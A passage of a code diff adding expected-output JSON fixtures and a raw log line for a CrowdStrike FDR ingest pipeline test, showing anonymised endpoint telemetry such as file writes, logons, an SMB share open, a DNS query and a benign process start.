"ffffffff896b43725b83c79aa79959da", + "os": { + "type": "windows" + } + }, + "message": "FsVolumeUnmounted", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff896b43725b83c79aa79959da", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "1717987648455", + "thread": { + "id": 55064470042288 + } + }, + "related": { + "hash": [ + "666346415" + ], + "ip": [ + "67.43.156.13" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T15:57:11.298Z", + "crowdstrike": { + "AuthenticationId": "703298", + "ConfigStateHash": "2642284486", + "ContextProcessId": "1161025471861", + "ContextTimeStamp": "2020-11-08T15:57:10.593Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "FileEcpBitmask": "0", + "FileObject": "18446664963104449168", + "IrpFlags": "1028", + "IsOnNetwork": "0", + "IsOnRemovableDisk": "1", + "MajorFunction": "18", + "MinorFunction": "0", + "OperationFlags": "0", + "TokenType": "1", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-800a-06cecfd73923", + "name": "GenericFileWrittenV11" + }, + "device": { + "id": "ffffffff16bf4c7bb5ad755a4722025c" + }, + "event": { + "action": "creation", + "category": [ + "file" + ], + "created": "2020-11-08T15:57:11.298Z", + "id": "ffffffff-1111-11eb-800a-06cecfd73923|ffffffff16bf4c7bb5ad755a4722025c|ffffffff30a3407dae27d0503611022d", + "original": "{\"AuthenticationId\":\"703298\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"2642284486\",\"ContextProcessId\":\"1161025471861\",\"ContextThreadId\":\"34929528116709\",\"ContextTimeStamp\":\"1604851030.593\",\"DiskParentDeviceInstanceId\":\"USB\\\\VID_1058\\u0026PID_2621\\\\57583431453939315A4C5255\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileEcpBitmask\":\"0\",\"FileIdentifier\":\"262fbc677256cf4c8d6c6a227285a072c06830873b000000\",\"FileObject\":\"18446664963104449168\",\"IrpFlags\":\"1028\",\"IsOnNetwork\":\"0\",\"IsOnRemovableDisk\":\"1\",\"MajorFunction\":\"18\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Size\":\"517029\",\"TargetFileName\":\"c:\\\\Device\\\\HarddiskVolume5\\\\01.png.tmp$$\",\"TokenType\":\"1\",\"UserName\":\"user9\",\"aid\":\"ffffffff16bf4c7bb5ad755a4722025c\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"GenericFileWritten\",\"id\":\"ffffffff-1111-11eb-800a-06cecfd73923\",\"name\":\"GenericFileWrittenV11\",\"timestamp\":\"1604851031298\"}" + }, + "file": { + "device": "USB\\VID_1058&PID_2621\\57583431453939315A4C5255", + "directory": "c:\\Device\\HarddiskVolume5", + "drive_letter": "C", + "extension": "tmp$$", + "inode": "262fbc677256cf4c8d6c6a227285a072c06830873b000000", + "name": "01.png.tmp$$", + "path": "c:\\Device\\HarddiskVolume5\\01.png.tmp$$", + "size": 517029, + "type": "file" + }, + "host": { + "id": "ffffffff16bf4c7bb5ad755a4722025c", + "os": { + "type": "windows" + } + }, + "message": "GenericFileWritten", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff16bf4c7bb5ad755a4722025c", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "1161025471861", + "thread": { + "id": 34929528116709 + } + }, + "related": { + "hash": [ + "2642284486" + ], + "ip": [ + "67.43.156.13" + ], + "user": [ + "user9" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "user9" + } + }, + { + "@timestamp": "2024-05-07T10:46:39.943Z", + "crowdstrike": { + "AuthenticationId": "111112312312312321", + "ConfigStateHash": "821711964", + "ContextTimeStamp": "2024-05-07T10:46:39.690Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "LogonTime": "2024-05-07T10:46:39.631Z", + "LogonType": "2", + "PasswordLastSet": "1706789855.733", + "UserGroupsBitmask": "0", + "UserLogonFlags": "6", + "UserName": "user-1", + "cid": "1d1d1d1d1d1d1d1d1", + "info": { + "host": { + "AgentLoadFlags": "0", + "AgentLocalTime": "1714620029.775", + "AgentTimeOffset": "454032", + "AgentVersion": "7.14.18305.0", + "ChassisType": "Other", + "City": "Bengaluru", + "ConfigBuild": "1007.4.0018305.10", + "ConfigIDBuild": "18305", + "Continent": "Asia", + "Country": "India", + "FirstSeen": "1701672920.000", + "HostHiddenStatus": "Visible", + "SystemManufacturer": "Apple Inc.", + "SystemProductName": "Mac14, 2", + "Time": "1715074061.000", + "Timezone": "Asia/Kolkata", + "Version": "Ventura (13)", + "cid": "11d1d1d1dd1d1d1d1d1", + "event_platform": "Mac" + }, + "user": { + "AccountType": "Local", + "LastLoggedOnHost": "User-1-MacBook-Air.local", + "LogonTime": "1715076000.000", + "LogonType": "Interactive", + "PasswordLastSet": "1706789855.733", + "UserIsAdmin": "1", + "_time": "1715076916.290", + "cid": "1d1d1d1d1d1d1d1d1", + "monthsincereset": "3.0" + } + }, + "name": "UserLogonMacV1" + }, + "event": { + "created": "2024-05-07T10:46:39.943Z", + "id": "||1d1d1d1d1d1d1d1d1", + "original": "{\"UserIsAdmin\": \"1\", \"LogonTime\": \"1715078799.631\", \"UserSid\": \"S-1-5-21-1111-11111-387821029-2004\", \"event_platform\": \"Mac\", \"EffectiveTransmissionClass\": \"2\", \"timestamp\": \"1715078799943\", \"info\": { \"host\": { \"Timezone\": \"Asia/Kolkata\", \"ServicePackMajor\": \"none\", \"PointerSize\": \"none\", \"SiteName\": \"none\", \"AgentVersion\": \"7.14.18305.0\", \"Time\": \"1715074061.000\", \"MachineDomain\": \"none\", \"event_platform\": \"Mac\", \"AgentTimeOffset\": \"454032\", \"Version\": \"Ventura (13)\", \"AgentLoadFlags\": \"0\", \"BiosVersion\": \"none\", \"FalconGroupingTags\": \"none\", \"SystemProductName\": \"Mac14, 2\", \"OU\": \"none\", \"ProductType\": \"none\", \"City\": \"Bengaluru\", \"ConfigBuild\": \"1007.4.0018305.10\", \"SensorGroupingTags\": \"none\", \"Continent\": \"Asia\", \"FirstSeen\": \"1701672920.000\", \"HostHiddenStatus\": \"Visible\", \"BiosManufacturer\": \"none\", \"AgentLocalTime\": \"1714620029.775\", \"Country\": \"India\", \"ChassisType\": \"Other\", \"SystemManufacturer\": \"Apple Inc.\", \"ConfigIDBuild\": \"18305\", \"cid\": \"11d1d1d1dd1d1d1d1d1\" }, \"user\": { \"UserIsAdmin\": \"1\", \"monthsincereset\": \"3.0\", \"User\": \"USER-1-MACBOOK-AIR.LOCAL\\\\USER-1\", \"LogonTime\": \"1715076000.000\", \"PasswordLastSet\": \"1706789855.733\", \"LogonType\": \"Interactive\", \"AccountType\": \"Local\", \"LastLoggedOnHost\": \"User-1-MacBook-Air.local\", \"_time\": \"1715076916.290\", \"cid\": \"1d1d1d1d1d1d1d1d1\" } }, \"ContextTimeStamp\": \"1715078799.690\", \"UserName\": \"user-1\", \"ConfigStateHash\": \"821711964\", \"LogonType\": \"2\", \"AuthenticationId\": \"111112312312312321\", \"UserPrincipal\": \"user-1@User-1-MacBook-Air.local\", \"PasswordLastSet\": \"1706789855.733\", \"Entitlements\": \"15\", \"name\": \"UserLogonMacV1\", \"UserLogonFlags\": \"6\", \"UserGroupsBitmask\": \"0\", \"cid\": \"1d1d1d1d1d1d1d1d1\"}" + }, + "host": { + "os": { + "type": "macos" + } + }, + "related": { + "hash": [ + "821711964" + ], + "hosts": [ + "User-1-MacBook-Air.local" + ], + "user": [ + "USER-1-MACBOOK-AIR.LOCAL\\USER-1", + "user-1", + "user-1@User-1-MacBook-Air.local", + "S-1-5-21-1111-11111-387821029-2004" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": [ + "USER-1-MACBOOK-AIR.LOCAL", + "User-1-MacBook-Air.local" + ], + "email": "user-1@User-1-MacBook-Air.local", + "full_name": "user-1", + "id": "S-1-5-21-1111-11111-387821029-2004", + "name": "USER-1-MACBOOK-AIR.LOCAL\\USER-1", + "roles": [ + "admin" + ] + } + }, + { + "@timestamp": "2024-08-01T11:31:27.123Z", + "crowdstrike": { + "ActiveDirectoryAuthenticationMethod": "0", + "ActivityId": "E654B5F9-9FCD-4E9A-9F18-E433DB7ACBAC", + "AuthenticationActivityId": "0737DAC6-66AE-42DE-B10A-FD151AE99B86", + "ContextTimeStamp": "2024-05-07T10:46:39.690Z", + "SourceAccountDomain": "EXAMPLE.COM", + "SourceAccountObjectGuid": "62915660-5725-4B71-A494-46793F88877A", + "SourceAccountObjectSid": "S-1-5-21-333333333-333333333-3333333333-333333", + "SourceAccountSamAccountName": "bar", + "SourceEndpointAccountObjectGuid": "9FF5B4D9-4FAD-47E7-89C0-0B06299F0AE8", + "SourceEndpointAccountObjectSid": "S-1-5-21-222222222-222222222-2222222222-222222", + "SourceEndpointAddressIP4": "192.168.0.1", + "SourceEndpointHostName": "FOO", + "SourceEndpointNetworkTag": "AWS-XXX", + "SourceEndpointNetworkType": "1", + "TargetDomainControllerObjectGuid": "11111111-1111-1111-1111-111111111111", + "TargetDomainControllerObjectSid": "S-1-5-21-111111111-111111111-1111111111-111111", + "cid": "11111111111111111111111111111111", + "name": "ActiveDirectoryInteractiveDomainLogonV2" + }, + "event": { + "created": "2024-08-01T11:31:27.123Z", + "id": "||11111111111111111111111111111111", + "original": "{\"ActiveDirectoryAuthenticationMethod\":\"0\",\"ActivityId\":\"E654B5F9-9FCD-4E9A-9F18-E433DB7ACBAC\",\"AuthenticationActivityId\":\"0737DAC6-66AE-42DE-B10A-FD151AE99B86\",\"ContextTimeStamp\":\"1715078799.690\",\"SourceAccountDomain\":\"EXAMPLE.COM\",\"SourceAccountObjectGuid\":\"62915660-5725-4B71-A494-46793F88877A\",\"SourceAccountObjectSid\":\"S-1-5-21-333333333-333333333-3333333333-333333\",\"SourceAccountSamAccountName\":\"bar\",\"SourceEndpointAccountObjectGuid\":\"9FF5B4D9-4FAD-47E7-89C0-0B06299F0AE8\",\"SourceEndpointAccountObjectSid\":\"S-1-5-21-222222222-222222222-2222222222-222222\",\"SourceEndpointAddressIP4\":\"192.168.0.1\",\"SourceEndpointHostName\":\"FOO\",\"SourceEndpointNetworkTag\":\"AWS-XXX\",\"SourceEndpointNetworkType\":\"1\",\"TargetDomainControllerObjectGuid\":\"11111111-1111-1111-1111-111111111111\",\"TargetDomainControllerObjectSid\":\"S-1-5-21-111111111-111111111-1111111111-111111\",\"aip\":\"\",\"cid\":\"11111111111111111111111111111111\",\"event_platform\":\"Win\",\"name\":\"ActiveDirectoryInteractiveDomainLogonV2\",\"timestamp\":\"2024-08-01T11:31:27.123Z\"}" + }, + "host": { + "os": { + "type": "windows" + } + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-01-27T20:26:33.697Z", + "crowdstrike": { + "ConfigStateHash": "1063377105", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "EventOrigin": "17", + "SmbShareName": "C$", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "5df90d92-3d9f-44e5-a095-428decb3d3f3", + "name": "SmbServerShareOpenedEtwV1" + }, + "destination": { + "address": "0:0:0:0:0:0:0:1", + "domain": "AzureAD", + "ip": "0:0:0:0:0:0:0:1" + }, + "device": { + "id": "1152404d33614d3bbfe87a5fe7bac47b" + }, + "event": { + "action": "SmbServerShareOpenedEtw", + "category": [ + "network" + ], + "created": "2025-01-27T20:26:33.697Z", + "id": "5df90d92-3d9f-44e5-a095-428decb3d3f3|1152404d33614d3bbfe87a5fe7bac47b|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"event_simpleName\":\"SmbServerShareOpenedEtw\",\"UserName\":\"person@dom1.com\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:1\",\"ConfigStateHash\":\"1063377105\",\"DomainName\":\"AzureAD\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.3.0019011.15\",\"event_platform\":\"Win\",\"Entitlements\":\"15\",\"name\":\"SmbServerShareOpenedEtwV1\",\"EventOrigin\":\"17\",\"id\":\"5df90d92-3d9f-44e5-a095-428decb3d3f3\",\"SmbShareName\":\"C$\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"1152404d33614d3bbfe87a5fe7bac47b\",\"timestamp\":\"1738009593697\",\"cid\":\"ffffffff30a3407dae27d0503611022d\"}", + "outcome": "success", + "type": [ + "connection", + "start" + ] + }, + "host": { + "id": "1152404d33614d3bbfe87a5fe7bac47b", + "os": { + "type": "windows" + } + }, + "message": "SmbServerShareOpenedEtw", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "1152404d33614d3bbfe87a5fe7bac47b", + "version": "1007.3.0019011.15" + }, + "related": { + "hash": [ + "1063377105" + ], + "ip": [ + "67.43.156.14", + "0:0:0:0:0:0:0:1" + ], + "user": [ + "person@dom1.com" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "person@dom1.com" + } + }, + { + "@timestamp": "2025-01-27T20:22:44.034Z", + "crowdstrike": { + "ConfigStateHash": "138674525", + "ContextBaseFileName": "SenseImdsCollector.exe", + "ContextProcessId": "683613242245", + "ContextTimeStamp": "2025-01-27T20:22:57.497Z", + "DnsRequestCount": 1, + "DualRequest": "1", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "EventOrigin": "1", + "InterfaceIndex": 0, + "QueryStatus": "9003", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "3d0ef474-fcc3-4f18-9ad6-7130d8ddb407", + "name": "DnsRequestV5" + }, + "device": { + "id": "31e92a267c044d57b1c1e14109079e89" + }, + "dns": { + "question": { + "name": "metadata.google.internal", + "type": "AAAA" + }, + "type": "query" + }, + "event": { + "action": "DnsRequest", + "category": [ + "network" + ], + "created": "2025-01-27T20:22:44.034Z", + "id": "3d0ef474-fcc3-4f18-9ad6-7130d8ddb407|31e92a267c044d57b1c1e14109079e89|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ContextBaseFileName\":\"SenseImdsCollector.exe\",\"event_simpleName\":\"DnsRequest\",\"ContextTimeStamp\":\"1738009377.497\",\"ConfigStateHash\":\"138674525\",\"ContextProcessId\":\"683613242245\",\"DomainName\":\"metadata.google.internal\",\"ContextThreadId\":\"31712204862362\",\"aip\":\"67.43.156.14\",\"QueryStatus\":\"9003\",\"InterfaceIndex\":\"0\",\"ConfigBuild\":\"1007.3.0019011.15\",\"event_platform\":\"Win\",\"DnsRequestCount\":\"1\",\"DualRequest\":\"1\",\"Entitlements\":\"15\",\"name\":\"DnsRequestV5\",\"EventOrigin\":\"1\",\"id\":\"3d0ef474-fcc3-4f18-9ad6-7130d8ddb407\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"31e92a267c044d57b1c1e14109079e89\",\"timestamp\":\"1738009364034\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"RequestType\":\"28\"}", + "outcome": "success", + "type": [ + "protocol" + ] + }, + "host": { + "id": "31e92a267c044d57b1c1e14109079e89", + "os": { + "type": "windows" + } + }, + "message": "DnsRequest", + "network": { + "protocol": "dns" + }, + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "31e92a267c044d57b1c1e14109079e89", + "version": "1007.3.0019011.15" + }, + "process": { + "entity_id": "683613242245", + "name": "SenseImdsCollector.exe", + "thread": { + "id": 31712204862362 + } + }, + "related": { + "hash": [ + "138674525" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2022-08-16T08:01:09.410Z", + "crowdstrike": { + "AuthenticationId": "29530993", + "ConfigStateHash": "518095218", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "ImageSubsystem": "2", + "IntegrityLevel": "8192", + "MD5HashData": "e570911fc2ab74ecf0dc59f324318f6e", + "ParentAuthenticationId": "29530993", + "ProcessCreateFlags": "1024", + "ProcessParameterFlags": "24577", + "ProcessSxsFlags": "64", + "SHA256HashData": "f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2", + "SessionId": "1", + "SourceProcessId": "434985540832797032", + "SourceThreadId": "434985668331321297", + "Tags": [ + "25", + "27", + "862", + "874", + "924", + "12094627905582", + "12094627906234" + ], + "TokenType": "2", + "cid": "1301ac65ae144fbb9689a8472f828c2e", + "id": "9686a6b3-1d39-11ed-9370-0660bfa16adf", + "name": "ProcessRollup2V19" + }, + "device": { + "id": "50deaa55144543089a1f463b568cdc53" + }, + "event": { + "action": "ProcessRollup2", + "category": [ + "process" + ], + "created": "2022-08-16T08:01:09.410Z", + "id": "9686a6b3-1d39-11ed-9370-0660bfa16adf|50deaa55144543089a1f463b568cdc53|1301ac65ae144fbb9689a8472f828c2e", + "kind": "event", + "original": "{\"ProcessCreateFlags\":\"1024\",\"IntegrityLevel\":\"8192\",\"ParentProcessId\":\"434985540832797032\",\"SourceProcessId\":\"434985540832797032\",\"aip\":\"89.160.20.120\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"UserSid\":\"S-1-5-21-4084637156-299436391-3671333128-115430\",\"event_platform\":\"Win\",\"TokenType\":\"2\",\"ProcessEndTime\":\"\",\"ParentBaseFileName\":\"EmUser.exe\",\"ImageSubsystem\":\"2\",\"id\":\"9686a6b3-1d39-11ed-9370-0660bfa16adf\",\"EffectiveTransmissionClass\":\"3\",\"SessionId\":\"1\",\"Tags\":\"25, 27, 862, 874, 924, 12094627905582, 12094627906234\",\"timestamp\":\"1660636869410\",\"event_simpleName\":\"ProcessRollup2\",\"RawProcessId\":\"18446744072636268557\",\"ConfigStateHash\":\"518095218\",\"MD5HashData\":\"e570911fc2ab74ecf0dc59f324318f6e\",\"SHA256HashData\":\"f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2\",\"ProcessSxsFlags\":\"64\",\"AuthenticationId\":\"29530993\",\"ConfigBuild\":\"1007.3.0015103.1\",\"CommandLine\":\"\\\"C:\\\\Program Files\\\\nirsoft\\\\SoundVolumeView.exe\\\" /SetDefault \\\"Teradici Virtual Audio Driver\\\\device\\\\speakers\\\\\\\" all\",\"ParentAuthenticationId\":\"29530993\",\"TargetProcessId\":\"434985669758362104\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Program Files\\\\NirSoft\\\\SoundVolumeView.exe\",\"SourceThreadId\":\"434985668331321297\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2V19\",\"ProcessStartTime\":\"1660636868.576\",\"ProcessParameterFlags\":\"24577\",\"aid\":\"50deaa55144543089a1f463b568cdc53\",\"cid\":\"1301ac65ae144fbb9689a8472f828c2e\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "50deaa55144543089a1f463b568cdc53", + "os": { + "type": "windows" + } + }, + "message": "ProcessRollup2", + "observer": { + "address": [ + "89.160.20.120" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.120" + ], + "serial_number": "50deaa55144543089a1f463b568cdc53", + "version": "1007.3.0015103.1" + }, + "process": { + "Ext": { + "token": { + "integrity_level_name": "MEDIUM" + } + }, + "args": [ + "C:\\Program Files\\nirsoft\\SoundVolumeView.exe", + "/SetDefault", + "Teradici Virtual Audio Driver\\device\\speakers\" all" + ], + "args_count": 3, + "command_line": "\"C:\\Program Files\\nirsoft\\SoundVolumeView.exe\" /SetDefault \"Teradici Virtual Audio Driver\\device\\speakers\\\" all", + "entity_id": "434985669758362104", + "executable": "\\Device\\HarddiskVolume3\\Program Files\\NirSoft\\SoundVolumeView.exe", + "hash": { + "md5": "e570911fc2ab74ecf0dc59f324318f6e", + "sha256": "f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2" + }, + "name": "SoundVolumeView.exe", + "parent": { + "entity_id": "434985540832797032", + "name": "EmUser.exe" + }, + "pid": -1073283059, + "start": "2022-08-16T08:01:08.576Z" + }, + "related": { + "hash": [ + "e570911fc2ab74ecf0dc59f324318f6e", + "f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2", + "518095218" + ], + "ip": [ + "89.160.20.120" + ], + "user": [ + "S-1-5-21-4084637156-299436391-3671333128-115430" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-1-5-21-4084637156-299436391-3671333128-115430" + } + }, + { + "@timestamp": "2025-03-27T17:02:25.000Z", + "crowdstrike": { + "AgentTimeOffset": 6.3878693E10, + "ConfigBuild": "1007.32.20250201.9", + "ConfigIDBuild": "20250201", + "FirstSeen": "2025-03-20T05:18:57.000Z", + "HostHiddenStatus": "visible", + "SystemManufacturer": "Apple", + "cid": "55555555555555555555555555555555" + }, + "device": { + "id": "44444444444444444444444444444444" + }, + "event": { + "created": "2025-03-27T17:02:25.000Z", + "id": "|44444444444444444444444444444444|55555555555555555555555555555555", + "original": "{\"AgentLoadFlags\":\"none\",\"AgentLocalTime\":\"none\",\"AgentTimeOffset\":\"63878691745\",\"AgentVersion\":\"2025.02.1\",\"BiosManufacturer\":\"none\",\"BiosVersion\":\"none\",\"ChassisType\":\"none\",\"City\":\"Bengaluru\",\"ComputerName\":\"none\",\"ConfigBuild\":\"1007.32.20250201.9\",\"ConfigIDBuild\":\"20250201\",\"Continent\":\"Asia\",\"Country\":\"India\",\"FalconGroupingTags\":\"none\",\"FirstSeen\":\"1742447937.000\",\"HostHiddenStatus\":\"visible\",\"MachineDomain\":\"none\",\"OU\":\"none\",\"PointerSize\":\"none\",\"ProductType\":\"none\",\"SensorGroupingTags\":\"none\",\"ServicePackMajor\":\"none\",\"SiteName\":\"none\",\"SystemManufacturer\":\"Apple\",\"SystemProductName\":\"none\",\"Time\":\"1743094945.000\",\"Timezone\":\"Asia/Kolkata\",\"Version\":\"iOS 18.3.2\",\"aid\":\"44444444444444444444444444444444\",\"aip\":\"0.0.0.0\",\"cid\":\"55555555555555555555555555555555\",\"event_platform\":\"iOS\"}" + }, + "host": { + "geo": { + "city_name": "Bengaluru", + "continent_name": "Asia", + "country_name": "India", + "timezone": "Asia/Kolkata" + }, + "id": "44444444444444444444444444444444", + "os": { + "type": "ios", + "version": "iOS 18.3.2" + } + }, + "observer": { + "address": [ + "0.0.0.0" + ], + "ip": [ + "0.0.0.0" + ], + "serial_number": "44444444444444444444444444444444", + "version": "2025.02.1" + }, + "related": { + "ip": [ + "0.0.0.0" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:05:34.000Z", + "crowdstrike": { + "AuthenticationId": "317005428", + "AuthenticationPackage": "Negotiate", + "ConfigStateHash": "3950066843", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "LogoffTime": "2020-11-08T17:05:32.756Z", + "LogonServer": "srv2", + "LogonTime": "2020-11-08T17:05:31.666Z", + "LogonType": "7", + "PasswordLastSet": "1598119332.510", + "RemoteAccount": "1", + "UserFlags": "32", + "UserLogoffType": "3", + "UserLogonFlags": "0", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-8913-0287fd11c79b", + "name": "UserLogoffV3" + }, + "device": { + "id": "ffffffffe0104823bd3de859d5bc8bc7" + }, + "event": { + "action": "UserLogoff", + "category": [ + "authentication" + ], + "created": "2020-11-08T17:05:34.000Z", + "id": "ffffffff-1111-11eb-8913-0287fd11c79b|ffffffffe0104823bd3de859d5bc8bc7|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"AuthenticationId\":\"317005428\",\"AuthenticationPackage\":\"Negotiate\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3950066843\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"LogoffTime\":\"1604855132.756\",\"LogonDomain\":\"dom1\",\"LogonServer\":\"srv2\",\"LogonTime\":\"1604855131.666\",\"LogonType\":\"7\",\"PasswordLastSet\":\"1598119332.510\",\"RemoteAccount\":\"1\",\"UserFlags\":\"32\",\"UserIsAdmin\":\"0\",\"UserLogoffType\":\"3\",\"UserLogonFlags\":\"0\",\"UserName\":\"user4\",\"UserPrincipal\":\"user.name@dom2.com\",\"UserSid\":\"S-1-5-21-606747145-1364589140-725345543-28636\",\"aid\":\"ffffffffe0104823bd3de859d5bc8bc7\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserLogoff\",\"id\":\"ffffffff-1111-11eb-8913-0287fd11c79b\",\"name\":\"UserLogoffV3\",\"UTCTimestamp\":\"1604855134\"}", + "outcome": "success", + "type": [ + "end" + ] + }, + "host": { + "domain": "dom1", + "id": "ffffffffe0104823bd3de859d5bc8bc7", + "os": { + "type": "windows" + } + }, + "message": "UserLogoff", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffffe0104823bd3de859d5bc8bc7", + "version": "1007.3.0011603.1" + }, + "related": { + "hash": [ + "3950066843" + ], + "hosts": [ + "srv2" + ], + "ip": [ + "67.43.156.13" + ], + "user": [ + "user4", + "user.name", + "user.name@dom2.com", + "S-1-5-21-606747145-1364589140-725345543-28636" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "dom2.com", + "email": "user.name@dom2.com", + "full_name": "user.name", + "id": "S-1-5-21-606747145-1364589140-725345543-28636", + "name": "user4" + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log new file mode 100644 index 0000000000..6f96985067 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log @@ -0,0 +1 @@ +{"ComputerName":"xxxxxxxxxxxxxxxx","CurrentLocalIP":"192.168.1.35","FirstDiscoveredDate":"1680533704.111","LastDiscoveredBy":"1fffffffffffffffffffffffffffffff","LocalAddressIP4":"192.168.1.129 192.168.1.35","MAC":"BB-AA-AA-AA-CC-CC","MACPrefix":"BB-AA-AA","NeighborName":"!!!!UNKNOWN!!!!","__mv_LocalAddressIP4":"$192.168.1.129$;$192.168.1.35$","__mv_aip":"$192.168.255.7$;$192.168.240.243$","__mv_discoverer_aid":"","_time":"1680769502.395","aip":"192.168.255.7 192.168.240.243","aipCount":"2","cid":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","discovererCount":"1","discoverer_aid":"bbbbbbbbbbbbbbcbbbbbbbbbbbbbbbbb","localipCount":"2","subnet":"192.168"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log-expected.json new file mode 100644 index 0000000000..276e6c7b12 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log-expected.json @@ -0,0 +1,64 @@ +{ + "expected": [ + { + "@timestamp": "2023-04-06T08:25:02.395Z", + "crowdstrike": { + "CurrentLocalIP": "192.168.1.35", + "FirstDiscoveredDate": "2023-04-03T14:55:04.111Z", + "LastDiscoveredBy": "1fffffffffffffffffffffffffffffff", + "LocalAddressIP4": [ + "192.168.1.129", + "192.168.1.35" + ], + "MACPrefix": "BB-AA-AA", + "NeighborName": "!!!!UNKNOWN!!!!", + "__mv_LocalAddressIP4": "$192.168.1.129$;$192.168.1.35$", + "__mv_aip": "$192.168.255.7$;$192.168.240.243$", + "aipCount": 2, + "cid": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "discovererCount": 1, + "discoverer_aid": "bbbbbbbbbbbbbbcbbbbbbbbbbbbbbbbb", + "localipCount": 2, + "subnet": "192.168" + }, + "event": { + "created": "2023-04-06T08:25:02.395Z", + "id": "||aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "original": "{\"ComputerName\":\"xxxxxxxxxxxxxxxx\",\"CurrentLocalIP\":\"192.168.1.35\",\"FirstDiscoveredDate\":\"1680533704.111\",\"LastDiscoveredBy\":\"1fffffffffffffffffffffffffffffff\",\"LocalAddressIP4\":\"192.168.1.129 